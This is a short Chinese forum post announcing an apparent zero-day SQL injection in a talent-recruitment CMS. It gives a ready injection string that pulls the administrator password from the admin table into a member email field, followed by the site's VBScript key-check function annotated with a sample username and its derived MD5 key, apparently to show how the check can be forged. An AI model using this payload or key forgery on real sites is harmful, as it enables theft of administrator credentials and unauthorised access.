帖子主题: 嘉缘人才cms系统最后一个注射漏洞？（0day）

',Member_email=dFirst('JOB_pass','JOB_admin'),Member_url='aaa

Function CheckSysKey(iName, iSysKey) ' username=huanquan   syskey
    If IsNull(iName) Or iName = "" Or IsNull(iSysKey) Or iSysKey = "" Then '如果都是空则结束调用
        CheckSysKey = False
        Exit Function
    End If
    If Len(iSysKey) = 32 Then '如果syskey长度是32则获取9-16位
        iSysKey = Mid(iSysKey, 9, 16)
    End If
    Dim strFRKey, strFRKeyNew
    strFRKey = Md5(iName&API_SysKey,16)   'baf588a6ba715854
    strFRKeyNew = Md5(iName&API_SysKey,16)  'baf588a6ba715854
    If LCase(iSysKey) = LCase(strFRKey) Or LCase(iSysKey) = LCase(strFRKeyNew) Then
        CheckSysKey = True
    Else
        CheckSysKey = False
    End If